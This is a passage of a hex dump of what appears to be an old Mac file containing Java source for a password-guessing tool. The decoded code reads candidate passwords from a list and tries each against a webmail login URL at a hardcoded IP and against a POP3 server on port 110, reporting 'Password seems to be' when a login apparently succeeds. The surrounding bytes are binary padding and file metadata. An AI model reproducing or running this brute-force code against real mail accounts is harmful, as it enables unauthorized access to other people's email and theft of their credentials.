73 73 77 64 29 3b 0d 20 |d=" + pa|sswd);. | |00001080| 20 20 20 20 20 65 6c 73 | 65 7b 0d 09 6c 6f 67 69 | els|e{..logi| |00001090| 6e 66 6f 72 6d 20 3d 20 | 6e 65 77 20 55 52 4c 28 |nform = |new URL(| |000010a0| 22 68 74 74 70 3a 2f 2f | 32 30 34 2e 36 38 2e 32 |"http://|204.68.2| |000010b0| 34 2e 31 30 30 2f 74 70 | 6c 2f 44 6f 6f 72 2f 4c |4.100/tp|l/Door/L| |000010c0| 6f 67 69 6e 50 6f 73 74 | 3f 55 73 65 72 49 44 3d |oginPost|?UserID=| |000010d0| 22 20 2b 20 6c 6f 67 69 | 6e 20 2b 20 22 26 70 61 |" + logi|n + "&pa| |000010e0| 73 73 77 64 3d 22 20 2b | 20 70 61 73 73 77 64 20 |sswd=" +| passwd | |000010f0| 2b 20 22 26 4c 6f 67 69 | 6e 53 74 61 74 65 3d 32 |+ "&Logi|nState=2| |00001100| 26 44 6f 6d 61 69 6e 49 | 44 3d 34 26 53 75 63 63 |&DomainI|D=4&Succ| |00001110| 65 73 73 66 75 6c 4c 6f | 67 69 6e 3d 2f 74 70 6c |essfulLo|gin=/tpl| |00001120| 26 4e 65 77 53 65 72 76 | 65 72 4e 61 6d 65 3d 6e |&NewServ|erName=n| |00001130| 65 74 61 64 64 72 65 73 | 73 2e 75 73 61 2e 6e 65 |etaddres|s.usa.ne| |00001140| 74 26 50 72 6f 6a 65 63 | 74 3d 6e 65 74 61 64 64 |t&Projec|t=netadd| |00001150| 72 65 73 73 26 4a 61 76 | 61 53 63 72 69 70 74 3d |ress&Jav|aScript=| |00001160| 4a 61 76 61 53 63 72 69 | 70 74 31 2e 32 26 4e 41 |JavaScri|pt1.2&NA| |00001170| 4e 41 73 69 74 65 3d 62 | 65 74 61 73 69 74 65 2e |NAsite=b|etasite.| |00001180| 6e 65 74 61 64 64 72 65 | 73 73 2e 63 6f 6d 26 4e |netaddre|ss.com&N| |00001190| 41 4e 41 70 6f 72 74 3d | 38 30 22 29 3b 0d 20 20 |ANAport=|80");. | |000011a0| 20 20 20 20 7d 0d 0d 20 | 20 20 20 20 20 42 75 66 | }.. | Buf| |000011b0| 66 65 72 65 64 52 65 61 | 64 65 72 20 77 65 62 72 |feredRea|der webr| |000011c0| 65 61 64 20 3d 20 6e 65 | 77 20 42 75 66 66 65 72 |ead = ne|w Buffer| |000011d0| 65 64 52 65 61 64 65 72 | 28 6e 65 77 20 49 6e 70 |edReader|(new Inp| |000011e0| 75 74 53 74 72 65 61 6d | 52 65 61 64 65 72 28 6c |utStream|Reader(l| |000011f0| 6f 67 69 6e 66 6f 72 6d | 2e 6f 70 65 6e 53 74 72 |oginform|.openStr| |00001200| 65 61 6d 28 29 29 29 3b | 0d 0d 20 20 20 20 20 20 |eam()));|.. | |00001210| 53 74 72 69 6e 67 20 6c | 69 6e 65 20 3d 20 6e 65 |String l|ine = ne| |00001220| 77 20 53 74 72 69 6e 67 | 28 22 22 29 3b 0d 20 20 |w String|("");. | |00001230| 20 20 20 20 66 6f 72 28 | 69 6e 74 20 69 3d 30 3b | for(|int i=0;| |00001240| 69 3c 33 3b 69 2b 2b 29 | 0d 09 6c 69 6e 65 20 3d |i<3;i++)|..line =| |00001250| 20 77 65 62 72 65 61 64 | 2e 72 65 61 64 4c 69 6e | webread|.readLin| |00001260| 65 28 29 3b 0d 20 20 20 | 20 20 20 53 79 73 74 65 |e();. | Syste| |00001270| 6d 2e 6f 75 74 2e 70 72 | 69 6e 74 6c 6e 28 70 61 |m.out.pr|intln(pa| |00001280| 73 73 77 64 2b 22 20 22 | 2b 20 6c 69 6e 65 29 3b |sswd+" "|+ line);| |00001290| 0d 20 20 20 20 20 20 0d | 20 20 20 20 20 20 69 66 |. .| if| |000012a0| 28 61 64 64 72 65 73 73 | 74 79 70 65 2e 65 71 75 |(address|type.equ| |000012b0| 61 6c 73 28 22 40 68 6f | 74 6d 61 69 6c 2e 63 6f |als("@ho|tmail.co| |000012c0| 6d 22 29 29 7b 0d 09 69 | 66 28 21 6c 69 6e 65 2e |m")){..i|f(!line.| |000012d0| 65 71 75 61 6c 73 49 67 | 6e 6f 72 65 43 61 73 65 |equalsIg|noreCase| |000012e0| 28 22 3c 2f 68 65 61 64 | 3e 22 29 29 7b 0d 09 20 |("</head|>")){.. | |000012f0| 20 53 79 73 74 65 6d 2e | 6f 75 74 2e 70 72 69 6e | System.|out.prin| |00001300| 74 6c 6e 28 22 50 61 73 | 73 77 6f 72 64 20 73 65 |tln("Pas|sword se| |00001310| 65 6d 73 20 74 6f 20 62 | 65 20 22 20 2b 20 70 61 |ems to b|e " + pa| |00001320| 73 73 77 64 29 3b 0d 09 | 20 20 53 79 73 74 65 6d |sswd);..| System| |00001330| 2e 65 78 69 74 28 30 29 | 3b 0d 09 7d 0d 20 20 20 |.exit(0)|;..}. | |00001340| 20 20 20 7d 0d 20 20 20 | 20 20 20 65 6c 73 65 20 | }. | else | |00001350| 69 66 28 6c 69 6e 65 2e | 63 68 61 72 41 74 28 6c |if(line.|charAt(l| |00001360| 69 6e 65 2e 6c 65 6e 67 | 74 68 28 29 2d 34 29 3d |ine.leng|th()-4)=| |00001370| 3d 27 6d 27 29 7b 20 2f | 2f 20 6c 6f 6f 6b 69 6e |='m'){ /|/ lookin| |00001380| 67 20 66 6f 72 20 74 68 | 65 20 73 74 72 69 6e 67 |g for th|e string| |00001390| 20 22 77 65 6c 63 6f 6d | 65 22 0d 09 53 79 73 74 | "welcom|e"..Syst| |000013a0| 65 6d 2e 6f 75 74 2e 70 | 72 69 6e 74 6c 6e 28 22 |em.out.p|rintln("| |000013b0| 50 61 73 73 77 6f 72 64 | 20 73 65 65 6d 73 20 74 |Password| seems t| |000013c0| 6f 20 62 65 20 22 20 2b | 20 70 61 73 73 77 64 29 |o be " +| passwd)| |000013d0| 3b 0d 09 53 79 73 74 65 | 6d 2e 65 78 69 74 28 30 |;..Syste|m.exit(0| |000013e0| 29 3b 0d 20 20 20 20 20 | 20 7d 0d 20 20 20 20 20 |);. | }. | |000013f0| 20 2f 2f 20 77 68 69 6c | 65 28 28 6c 69 6e 65 20 | // whil|e((line | |00001400| 3d 20 77 65 62 72 65 61 | 64 2e 72 65 61 64 4c 69 |= webrea|d.readLi| |00001410| 6e 65 28 29 29 20 21 3d | 20 6e 75 6c 6c 29 3b 0d |ne()) !=| null);.| |00001420| 20 20 20 20 20 20 77 65 | 62 72 65 61 64 2e 63 6c | we|bread.cl| |00001430| 6f 73 65 28 29 3b 0d 20 | 20 20 20 7d 0d 20 20 20 |ose();. | }. | |00001440| 20 0d 20 20 20 20 63 61 | 74 63 68 28 49 4f 45 78 | . ca|tch(IOEx| |00001450| 63 65 70 74 69 6f 6e 20 | 65 78 29 7b 0d 20 20 20 |ception |ex){. | |00001460| 20 20 20 53 79 73 74 65 | 6d 2e 6f 75 74 2e 70 72 | Syste|m.out.pr| |00001470| 69 6e 74 6c 6e 28 22 49 | 4f 45 78 63 65 70 74 69 |intln("I|OExcepti| |00001480| 6f 6e 20 69 6e 20 54 68 | 72 65 61 64 73 6f 63 6b |on in Th|readsock| |00001490| 65 74 22 29 3b 0d 20 20 | 20 20 7d 0d 0d 20 20 7d |et");. | }.. }| |000014a0| 0d 7d 0d 0d 63 6c 61 73 | 73 20 50 6f 70 73 6f 63 |.}..clas|s Popsoc| |000014b0| 6b 65 74 20 65 78 74 65 | 6e 64 73 20 54 68 72 65 |ket exte|nds Thre| |000014c0| 61 64 7b 0d 0d 20 20 53 | 74 72 69 6e 67 20 70 61 |ad{.. S|tring pa| |000014d0| 73 73 77 64 20 3d 20 6e | 65 77 20 53 74 72 69 6e |sswd = n|ew Strin| |000014e0| 67 28 22 22 29 3b 0d 20 | 20 42 75 66 66 65 72 65 |g("");. | Buffere| |000014f0| 64 52 65 61 64 65 72 20 | 65 6e 74 72 65 65 3b 0d |dReader |entree;.| |00001500| 20 20 53 74 72 69 6e 67 | 20 6c 6f 67 69 6e 3b 0d | String| login;.| |00001510| 20 20 53 74 72 69 6e 67 | 20 61 64 64 72 65 73 73 | String| address| |00001520| 74 79 70 65 3b 0d 20 20 | 62 6f 6f 6c 65 61 6e 20 |type;. |boolean | |00001530| 6f 6b 20 3d 20 74 72 75 | 65 3b 0d 20 20 62 6f 6f |ok = tru|e;. boo| |00001540| 6c 65 61 6e 20 64 6f 6e | 65 20 3d 20 66 61 6c 73 |lean don|e = fals| |00001550| 65 3b 0d 20 20 62 6f 6f | 6c 65 61 6e 20 76 65 72 |e;. boo|lean ver| |00001560| 62 6f 73 65 3b 0d 0d 0d | 20 20 70 75 62 6c 69 63 |bose;...| public| |00001570| 20 50 6f 70 73 6f 63 6b | 65 74 28 53 74 72 69 6e | Popsock|et(Strin| |00001580| 67 20 6c 6f 67 69 6e 6e | 61 6d 65 2c 20 53 74 72 |g loginn|ame, Str| |00001590| 69 6e 67 20 61 64 64 72 | 65 73 73 2c 20 42 75 66 |ing addr|ess, Buf| |000015a0| 66 65 72 65 64 52 65 61 | 64 65 72 20 72 65 61 64 |feredRea|der read| |000015b0| 65 72 6e 61 6d 65 2c 20 | 62 6f 6f 6c 65 61 6e 20 |ername, |boolean | |000015c0| 76 65 72 62 29 7b 0d 20 | 20 20 20 73 75 70 65 72 |verb){. | super| |000015d0| 28 29 3b 0d 20 20 20 20 | 65 6e 74 72 65 65 20 3d |();. |entree =| |000015e0| 20 72 65 61 64 65 72 6e | 61 6d 65 3b 0d 20 20 20 | readern|ame;. | |000015f0| 20 6c 6f 67 69 6e 20 3d | 20 6c 6f 67 69 6e 6e 61 | login =| loginna| |00001600| 6d 65 3b 0d 20 20 20 20 | 61 64 64 72 65 73 73 74 |me;. |addresst| |00001610| 79 70 65 20 3d 20 61 64 | 64 72 65 73 73 3b 0d 20 |ype = ad|dress;. | |00001620| 20 20 20 76 65 72 62 6f | 73 65 20 3d 20 76 65 72 | verbo|se = ver| |00001630| 62 3b 0d 20 20 7d 0d 0d | 20 20 70 75 62 6c 69 63 |b;. }..| public| |00001640| 20 76 6f 69 64 20 72 75 | 6e 28 29 7b 0d 0d 20 20 | void ru|n(){.. | |00001650| 20 20 53 74 72 69 6e 67 | 20 6c 69 6e 65 20 3d 20 | String| line = | |00001660| 6e 65 77 20 53 74 72 69 | 6e 67 28 22 22 29 3b 0d |new Stri|ng("");.| |00001670| 20 20 20 20 66 6f 72 28 | 3b 3b 29 7b 0d 20 20 20 | for(|;;){. | |00001680| 20 20 20 69 66 28 64 6f | 6e 65 29 0d 09 62 72 65 | if(do|ne)..bre| |00001690| 61 6b 3b 0d 20 20 20 20 | 20 20 74 72 79 7b 0d 09 |ak;. | try{..| |000016a0| 53 6f 63 6b 65 74 20 73 | 6f 63 6b 65 74 20 3d 20 |Socket s|ocket = | |000016b0| 6e 65 77 20 53 6f 63 6b | 65 74 28 22 32 30 37 2e |new Sock|et("207.| |000016c0| 38 32 2e 32 35 30 2e 32 | 35 31 22 2c 20 31 31 30 |82.250.2|51", 110| |000016d0| 29 3b 0d 09 2f 2f 20 73 | 6f 63 6b 65 74 2e 73 65 |);..// s|ocket.se| |000016e0| 74 53 6f 54 69 6d 65 6f | 75 74 28 33 30 30 30 30 |tSoTimeo|ut(30000| |000016f0| 29 3b 0d 09 0d 09 42 75 | 66 66 65 72 65 64 52 65 |);....Bu|fferedRe| |00001700| 61 64 65 72 20 70 6f 70 | 72 65 61 64 20 3d 20 6e |ader pop|read = n| |00001710| 65 77 20 42 75 66 66 65 | 72 65 64 52 65 61 64 65 |ew Buffe|redReade| |00001720| 72 28 6e 65 77 20 49 6e | 70 75 74 53 74 72 65 61 |r(new In|putStrea| |00001730| 6d 52 65 61 64 65 72 28 | 73 6f 63 6b 65 74 2e 67 |mReader(|socket.g| |00001740| 65 74 49 6e 70 75 74 53 | 74 72 65 61 6d 28 29 29 |etInputS|tream())| |00001750| 29 3b 0d 09 50 72 69 6e | 74 57 72 69 74 65 72 20 |);..Prin|tWriter | |00001760| 70 6f 70 77 72 69 74 65 | 20 3d 20 6e 65 77 20 50 |popwrite| = new P| |00001770| 72 69 6e 74 57 72 69 74 | 65 72 28 73 6f 63 6b 65 |rintWrit|er(socke| |00001780| 74 2e 67 65 74 4f 75 74 | 70 75 74 53 74 72 65 61 |t.getOut|putStrea| |00001790| 6d 28 29 2c 20 74 72 75 | 65 29 3b 0d 20 20 20 20 |m(), tru|e);. | |000017a0| 20 20 0d 09 70 6f 70 72 | 65 61 64 2e 72 65 61 64 | ..popr|ead.read| |000017b0| 4c 69 6e 65 28 29 3b 0d | 09 66 6f 72 28 3b 3b 29 |Line();.|.for(;;)| |000017c0| 7b 0d 09 20 20 74 72 79 | 7b 0d 09 20 20 20 20 69 |{.. try|{.. i| |000017d0| 66 28 6f 6b 29 0d 09 20 | 20 20 20 20 20 70 61 73 |f(ok).. | pas| |000017e0| 73 77 64 20 3d 20 65 6e | 74 72 65 65 2e 72 65 61 |swd = en|tree.rea| |000017f0| 64 4c 69 6e 65 28 29 3b | 0d 09 20 20 20 20 6f 6b |dLine();|.. ok| |00001800| 3d 74 72 75 65 3b 0d 09 | 20 20 20 20 69 66 28 70 |=true;..| if(p| |00001810| 61 73 73 77 64 3d 3d 6e | 75 6c 6c 29 7b 0d 09 20 |asswd==n|ull){.. | |00001820| 20 20 20 20 20 64 6f 6e | 65 20 3d 20 74 72 75 65 | don|e = true| |00001830| 3b 0d 09 20 20 20 20 20 | 20 62 72 65 61 6b 3b 0d |;.. | break;.| |00001840| 09 20 20 20 20 7d 0d 09 | 20 20 20 20 70 6f 70 77 |. }..| popw| |00001850| 72 69 74 65 2e 70 72 69 | 6e 74 6c 6e 28 22 75 73 |rite.pri|ntln("us| |00001860| 65 72 20 22 20 2b 20 6c | 6f 67 69 6e 29 3b 0d 09 |er " + l|ogin);..| |00001870| 20 20 20 20 70 6f 70 72 | 65 61 64 2e 72 65 61 64 | popr|ead.read| |00001880| 4c 69 6e 65 28 29 3b 0d | 09 20 20 20 20 70 6f 70 |Line();.|. pop| |00001890| 77 72 69 74 65 2e 70 72 | 69 6e 74 6c 6e 28 22 70 |write.pr|intln("p| |000018a0| 61 73 73 20 22 20 2b 20 | 70 61 73 73 77 64 29 3b |ass " + |passwd);| |000018b0| 0d 09 20 20 20 20 6c 69 | 6e 65 20 3d 20 70 6f 70 |.. li|ne = pop| |000018c0| 72 65 61 64 2e 72 65 61 | 64 4c 69 6e 65 28 29 3b |read.rea|dLine();| |000018d0| 0d 09 20 20 20 20 69 66 | 28 76 65 72 62 6f 73 65 |.. if|(verbose| |000018e0| 29 0d 09 20 20 20 20 20 | 20 53 79 73 74 65 6d 2e |).. | System.| |000018f0| 6f 75 74 2e 70 72 69 6e | 74 6c 6e 28 70 61 73 73 |out.prin|tln(pass| |00001900| 77 64 20 2b 20 22 20 22 | 20 2b 20 6c 69 6e 65 29 |wd + " "| + line)| |00001910| 3b 0d 09 20 20 20 20 69 | 66 28 6c 69 6e 65 3d 3d |;.. i|f(line==| |00001920| 6e 75 6c 6c 29 7b 0d 09 | 20 20 20 20 20 20 53 79 |null){..| Sy| |00001930| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println| |00001940| 28 22 45 4f 46 20 52 65 | 63 65 69 76 65 64 2e 20 |("EOF Re|ceived. | |00001950| 5c 6e 52 65 73 74 61 72 | 74 69 6e 67 20 73 6f 63 |\nRestar|ting soc| |00001960| 6b 65 74 2e 22 29 3b 0d | 09 20 20 20 20 20 20 6f |ket.");.|. o| |00001970| 6b 20 3d 20 66 61 6c 73 | 65 3b 0d 09 20 20 20 20 |k = fals|e;.. | |00001980| 20 20 62 72 65 61 6b 3b | 0d 09 20 20 20 20 7d 0d | break;|.. }.| |00001990| 09 20 20 20 20 69 66 28 | 6c 69 6e 65 2e 63 68 61 |. if(|line.cha| |000019a0| 72 41 74 28 30 29 3d 3d | 27 2b 27 29 7b 20 2f 2f |rAt(0)==|'+'){ //| |000019b0| 20 6c 6f 6f 6b 69 6e 67 | 20 66 6f 72 20 22 2b 4f | looking| for "+O| |000019c0| 4b 20 2e 2e 2e 20 22 0d | 09 20 20 20 20 20 20 69 |K ... ".|. i| |000019d0| 66 28 21 76 65 72 62 6f | 73 65 29 0d 09 09 53 79 |f(!verbo|se)...Sy| |000019e0| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println| |000019f0| 28 70 61 73 73 77 64 20 | 2b 20 22 20 22 20 2b 20 |(passwd |+ " " + | |00001a00| 6c 69 6e 65 29 3b 0d 09 | 20 20 20 20 20 20 53 79 |line);..| Sy| |00001a10| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println| |00001a20| 28 22 50 61 73 73 77 6f | 72 64 20 73 65 65 6d 73 |("Passwo|rd seems| |00001a30| 20 74 6f 20 62 65 20 22 | 20 2b 20 70 61 73 73 77 | to be "| + passw| |00001a40| 64 29 3b 0d 09 20 20 20 | 20 20 20 53 79 73 74 65 |d);.. | Syste| |00001a50| 6d 2e 65 78 69 74 28 30 | 29 3b 0d 09 20 20 20 20 |m.exit(0|);.. | |00001a60| 7d 0d 09 20 20 7d 0d 09 | 20 20 63 61 74 63 68 28 |}.. }..| catch(| |00001a70| 49 4f 45 78 63 65 70 74 | 69 6f 6e 20 65 78 29 7b |IOExcept|ion ex){| |00001a80| 0d 09 20 20 20 20 53 79 | 73 74 65 6d 2e 65 72 72 |.. Sy|stem.err| |00001a90| 2e 70 72 69 6e 74 6c 6e | 28 22 49 4f 45 78 63 65 |.println|("IOExce| |00001aa0| 70 74 69 6f 6e 20 69 6e | 20 70 6f 70 73 6f 63 6b |ption in| popsock| |00001ab0| 65 74 20 66 6f 72 20 6c | 6f 6f 70 22 29 3b 0d 09 |et for l|oop");..| |00001ac0| 20 20 20 20 6f 6b 20 3d | 20 66 61 6c 73 65 3b 0d | ok =| false;.| |00001ad0| 09 20 20 7d 0d 09 7d 0d | 20 20 20 20 20 20 70 6f |. }..}.| po| |00001ae0| 70 72 65 61 64 2e 63 6c | 6f 73 65 28 29 3b 0d 20 |pread.cl|ose();. | |00001af0| 20 20 20 20 20 70 6f 70 | 77 72 69 74 65 2e 63 6c | pop|write.cl| |00001b00| 6f 73 65 28 29 3b 0d 20 | 20 20 20 20 20 73 6f 63 |ose();. | soc| |00001b10| 6b 65 74 2e 63 6c 6f 73 | 65 28 29 3b 0d 20 20 20 |ket.clos|e();. | |00001b20| 20 20 20 7d 0d 20 20 20 | 20 20 20 63 61 74 63 68 | }. | catch| |00001b30| 28 49 4f 45 78 63 65 70 | 74 69 6f 6e 20 65 78 29 |(IOExcep|tion ex)| |00001b40| 7b 0d 09 53 79 73 74 65 | 6d 2e 6f 75 74 2e 70 72 |{..Syste|m.out.pr| |00001b50| 69 6e 74 6c 6e 28 22 49 | 4f 45 78 63 65 70 74 69 |intln("I|OExcepti| |00001b60| 6f 6e 20 63 72 65 61 74 | 69 6e 67 20 70 6f 70 73 |on creat|ing pops| |00001b70| 6f 63 6b 65 74 22 29 3b | 0d 09 73 74 6f 70 28 29 |ocket");|..stop()| |00001b80| 3b 0d 20 20 20 20 20 20 | 7d 0d 20 20 20 20 7d 0d |;. |}. }.| |00001b90| 0d 20 20 20 20 2f 2a 0d | 20 20 20 20 20 20 54 68 |. /*.| Th| |00001ba0| 69 73 20 73 6c 65 65 70 | 20 74 69 6d 65 20 69 73 |is sleep| time is| |00001bb0| 20 74 6f 20 6c 65 74 20 | 74 68 65 20 6f 74 68 65 | to let |the othe| |00001bc0| 72 20 74 68 72 65 61 64 | 73 20 66 69 6e 69 73 68 |r thread|s finish| |00001bd0| 2e 0d 20 20 20 20 20 20 | 4e 6f 74 68 69 6e 67 20 |.. |Nothing | |00001be0| 70 72 6f 76 65 73 20 74 | 68 65 79 27 6c 6c 20 68 |proves t|hey'll h| |00001bf0| 61 76 65 20 65 6e 6f 75 | 67 68 20 74 69 6d 65 20 |ave enou|gh time | |00001c00| 74 6f 20 64 6f 20 69 74 | 20 68 6f 77 65 76 65 72 |to do it| however| |00001c10| 2e 2e 2e 0d 20 20 20 20 | 20 20 0d 20 20 20 20 2a |.... | . *| |00001c20| 2f 0d 20 20 20 20 74 72 | 79 7b 0d 20 20 20 20 20 |/. tr|y{. | |00001c30| 20 73 6c 65 65 70 28 31 | 30 30 30 30 29 3b 0d 20 | sleep(1|0000);. | |00001c40| 20 20 20 7d 0d 20 20 20 | 20 63 61 74 63 68 28 49 | }. | catch(I| |00001c50| 6e 74 65 72 72 75 70 74 | 65 64 45 78 63 65 70 74 |nterrupt|edExcept| |00001c60| 69 6f 6e 20 65 78 29 7b | 0d 20 20 20 20 7d 0d 20 |ion ex){|. }. | |00001c70| 20 20 20 53 79 73 74 65 | 6d 2e 6f 75 74 2e 70 72 | Syste|m.out.pr| |00001c80| 69 6e 74 6c 6e 28 22 5c | 6e 50 61 73 73 77 6f 72 |intln("\|nPasswor| |00001c90| 64 20 6e 6f 74 20 66 6f | 75 6e 64 2e 5c 6e 22 29 |d not fo|und.\n")| |00001ca0| 3b 0d 20 20 20 20 53 79 | 73 74 65 6d 2e 65 78 69 |;. Sy|stem.exi| |00001cb0| 74 28 30 29 3b 0d 20 20 | 7d 0d 7d 0d 0d 0d 0d 0d |t(0);. |}.}.....| |00001cc0| 0d 0d 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001cd0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001ce0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001cf0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001d00| 00 00 01 00 00 00 01 5a | 00 00 00 5a 00 00 00 52 |.......Z|...Z...R| |00001d10| 69 6c 20 61 6e 64 20 63 | 72 69 6d 69 6e 61 6c 20 |il and c|riminal | |00001d20| 70 65 6e 61 6c 74 69 65 | 73 2c 20 61 6e 64 20 77 |penaltie|s, and w| |00001d30| 0e 67 61 6d 6d 61 70 72 | 6f 67 2e 6a 61 76 61 67 |.gammapr|og.javag| |00001d40| 02 00 00 00 54 45 58 54 | 43 57 49 45 01 00 00 34 |....TEXT|CWIE...4| |00001d50| 00 00 54 45 58 54 43 57 | 49 45 01 00 00 34 00 80 |..TEXTCW|IE...4..| |00001d60| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001d70| 00 00 b1 ea 12 a9 00 00 | 1c 42 00 00 01 ac 00 00 |........|.B......| |00001d80| 00 00 90 00 4e 00 cc 01 | 42 80 00 00 00 00 00 00 |....N...|B.......| |00001d90| d6 00 01 00 db 01 7d 80 | 00 00 00 01 aa 00 00 00 |......}.|........| |00001da0| 00 01 aa 00 02 00 00 04 | 52 61 79 20 00 00 00 00 |........|Ray ....| |00001db0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001dc0| 00 00 00 b1 a1 df a1 42 | 44 00 00 00 00 0f 2b 14 |.......B|D.....+.| |00001dd0| 4d 69 63 72 6f 73 6f 66 | 74 20 50 6f 77 65 72 50 |Microsof|t PowerP| |00001de0| 6f 69 6e 74 00 00 00 00 | 00 00 00 00 00 00 00 00 |oint....|........| |00001df0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001e00| 00 00 00 48 00 09 4d 6f | 6e 61 63 6f 00 00 00 00 |...H..Mo|naco....| |00001e10| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001e20| 00 00 00 00 00 00 00 03 | 00 04 00 28 00 0a 01 c2 |........|...(....| |00001e30| 02 80 00 28 00 0a 01 c2 | 02 80 a9 76 da c0 00 00 |...(....|...v....| |00001e40| 00 00 00 00 00 00 00 00 | 1a 55 01 00 00 00 00 02 |........|.U......| |00001e50| 00 00 00 00 00 04 00 01 | 00 01 00 00 01 00 00 00 |........|........| |00001e60| 01 5a 00 00 00 5a 00 00 | 00 52 02 57 df c8 3e 10 |.Z...Z..|.R.W..>.| |00001e70| 00 00 00 1c 00 52 00 01 | 4d 50 53 52 00 01 00 12 |.....R..|MPSR....| |00001e80| 4d 57 42 42 00 00 00 2a | 03 ed ff ff 00 00 00 00 |MWBB...*|........| |00001e90| 00 00 00 00 03 ef ff ff | 00 00 00 4c 00 00 00 00 |........|...L....| |00001ea0| 03 f0 ff ff 00 00 00 52 | 00 00 00 00 00 00 00 00 |.......R|........| |00001eb0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001ec0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001ed0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001ee0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00001ef0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| +--------+-------------------------+-------------------------+--------+--------+